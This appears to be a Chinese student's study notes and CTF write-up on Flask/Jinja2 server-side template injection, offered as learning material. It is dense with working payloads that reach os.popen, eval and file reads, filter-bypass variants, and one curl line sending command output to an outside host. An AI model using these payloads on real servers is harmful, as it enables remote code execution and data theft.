不会python看的我好懵,一些类、对象和魔术变量的部分都不是太懂。。。。
ssti概述
贴个大佬的文章
浅析SSTI(python沙盒绕过)_白帽子技术/思路_i春秋社区-分享你的技术,为安全加点温度. (ichunqiu.com)
CTF SSTI(服务器模板注入) - MustaphaMond - 博客园 (cnblogs.com)
[关于python魔术方法payload:““.class.mro2].subclasses()40.read() 的解释_xiao__1bai的博客-CSDN博客
SSTI(Server-Side Template Injection);即模板注入,与我们熟知的SQL注入、命令注入等原理大同小异。注入的原理可以这样描述:当用户的输入数据没有被合理的处理控制时,就有可能数据插入了程序段中变成了程序的一部分,从而改变了程序的执行逻辑;
漏洞成因在于:render_template函数在渲染模板的时候使用了%s来动态的替换字符串,我们知道Flask 中使用了Jinja2 作为模板渲染引擎,{ { } }在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{ { } }包裹的内容当做变量解析替换。比如{ {1+1} }会被解析成2。
flask SSTI的基本思路就是利用python中的魔术方法找到自己要用的函数
__dict__ 保存类实例或对象实例的属性变量键值对字典
__class__ 返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__bases__ 返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价
flask基本知识
flask采用装饰器来指定路由,默认的模板渲染引擎为Jinja2。其中模板的三种主要语法为
- :装载一个变量,渲染模板的时候,可以传入变量名和变量值模板会自动替换变量为传入的变量值
- { % … % }:装载一个控制语句
- :装载一个注释
流程:
获取基本类
获取基本类的子类
找到重载过的
__init__
类 查看其引用
__builtins__
调用其中可用的函数
获取基本类
利用__bases__
或者是__mro__
函数
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[8] //针对jinjia2/flask为[9]适用
//实话实说最后一个不是很懂
获取基类的子类
利用__subclasses__
函数
object.__subclasses__()
{{''.__class__.__mro__[2].__subclasses__()}}//这句可以查找所有的类
SSTI的主要目的就是从这么多子类中找出可以利用的类(一般是指读写文件的类)加以利用
我们可以利用的方法有<type 'file'>等,(一般file在第40号)
找到重载过的__init__
类
''.__class__.__mro__[2].__subclasses__()[59].__init__
<unbound method WarningMessage.__init__
{().__class__.base__.__subclasses__().index(warnings.catch_warnings)
可以查看当前位置,
查看其引用__builtins__
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']
使用os模块执行命令来读取flag或者执行命令
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat flag").read()')
{{''.__class__.__mro__[1].__subclasses__()[169].__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()")}}
来、姿势
1、config
{{config}}
可以获取当前
{{config}}
可以获取当前设置,如果题目类似app.config ['FLAG'] = os.environ.pop('FLAG')
,那可以直接访问{{config['FLAG']}}
或者{{config.FLAG}}
得到flag
2、self
{{self}} ⇒ <TemplateReference None>
{{self.__dict__._TemplateReference__context.config}} ⇒ 同样可以找到config
3、""、[]、()等数据结构
主要目的是配合__class__.__mro__[2]
这样找到object
类{{[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG']}}
4、url_for, g, request, namespace, lipsum, range, session, dict, get_flashed_messages, cycler, joiner, config等
如果config,self不能使用,要获取配置信息,就必须从它的上部全局变量(访问配置current_app等)。
例如:
{{url_for.__globals__['current_app'].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}
{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}
常见的过滤绕过
(1)只过滤[]
pop() 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
若.
也被过滤,使用原生JinJa2函数|attr()
将request.__class__
改成request|attr("__class__")
(2)过滤_
利用request.args
属性{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__
将其中的request.args
改为request.values
则利用post的方式进行传参
(3)关键字过滤
- base64编码绕过
__getattribute__
使用实例访问属性时,调用该方法
例如被过滤掉__class__
关键词{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}
- 字符串拼接绕过
{{[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]("/etc/passwd").read()}}
{{[].__getattribute__(['__c','lass__']|join).__base__.__subclasses__()[40]}}
(4)过滤{ {
使用{% if ... %}1{% endif %}
,例如
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://http.bin.buuoj.cn/1inhq4f1 -d `ls / | grep flag`;') %}1{% endif %}
如果不能执行命令,读取文件可以利用盲注的方法逐位将内容爆出来
{% if ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/test').read()[0:1]=='p' %}1{% endif %}
(5)引号内十六进制绕过
{{"".__class__}}
{{""["\x5f\x5fclass\x5f\x5f"]}}
_`是`\x5f`,`.`是`\x2E
(6)" ' chr等被过滤,无法引入字符串
- 直接拼接键名
dict(buil=aa,tins=dd)|join()
- 利用
string
、pop
、list
、slice
、first
等过滤器从已有变量里面直接找
(app.__doc__|list()).pop(102)|string()
- 构造出
%
和c
后,用格式化字符串代替chr
{%set udl=dict(a=pc,c=c).values()|join %} # uld=%c
{%set i1=dict(a=i1,c=udl%(99)).values()|join %}
(7)+等被过滤,无法拼接字符串
~
在jinja中可以拼接字符串- 格式化字符串
同上
例一:
warnings.catch_warnings类
{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
PS:由于使用[‘globals’]会造成500的服务器错误信息,并且当我直接输入search=globals时页面也会500,觉得这里应该是被过滤了,所以这里采用了字符串拼接的形式[‘glo’+'bals’]
最后获取flag
{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek ').read()")}}
例二:
class’site._Printer’类
{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}}
获取flag
{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('cat /flasklight/coomme_geeeett_youur_flek').read()}}
例三:
popen
{{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}
{{''.__class__.__mro__[2].__subclasses__()[258]('ls /flasklight',shell=True,stdout=-1).communicate()[0].strip()}}
{{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek')}}
wp
搭了个靶场
level 1
先找基本类
再获取基本类的子类
找到重载过的__init__
类
{{''.__class__.__mro__[0].__subclasses__()[59].__init__}}
查看其引用__builtins__
利用eval命令执行来读取flag
{{''.__class__.__mro__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat flag").read()')}}
level 2
这个过滤了{ { ,所以要采用{ % % }的形式
{ % % }内加控制语句
且这里展示数据要利用{ % print % }
{% print ''.__class__.__mro__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat flag").read()') %}
还有一种是利用控制语句
寻找符合条件的子类再利用WarningMessage的__bulitins__
执行代码这个还不太懂先贴一下payload
{%for sub in ''.__class__.__base__.__subclasses__()%}{%if sub.__name__=='catch_warnings'%}{%print sub.__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat flag").read()')%}{%endif%}{%endfor%}
补:
{%if sub.__name__=='catch_warnings'%}
要利用<class ‘warnings.catch_warnings’>来调用eval os等命令
<class ‘warnings.catch_warnings’>
一般位置为59,可以用它来调用file、os、eval、commands等
调用file
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read() #把 read() 改为 write() 就是写文件
import os
[].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('ls /').read()
调用eval
[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")
[].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['ev'+'al']('__imp'+'ort__("os").po'+'pen("ls ./").read()')
调用system方法。(不包含system,可以绕过过滤system的情况)
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')
利用commands进行命令执行
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')}}
level 3
在学了在学了(
[GYCTF2020]FlaskApp
题目里有base64加密、解密和一个提示页面,试一下就可以知道解密框存在ssti注入,且当报错时会进入debug模式在这里可以看到一部分源码
试着访问app。py
{% for i in ''.__class__.__base__.__subclasses__() %}{% if i.__name__=='catch_warnings' %}{{ i.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}
这里可以看到过滤了一些内容
再查找目录内内容
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}
os.listdir() 方法用于返回指定的文件夹包含的文件或文件夹的名字的列表。
看见一个this_is_the_flag.txt
尝试去访问,得到flag
{% for c in [].__class__.__base__.__subclasses__() %}{%if c.__name__=='catch_warnings' %}
{{c.__init__.__globals__['__builtins__'].open('/this_is_the_f'+'lag.txt','r').read()}}{% endif %}{% endfor %}
也可以利用切片的方式
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}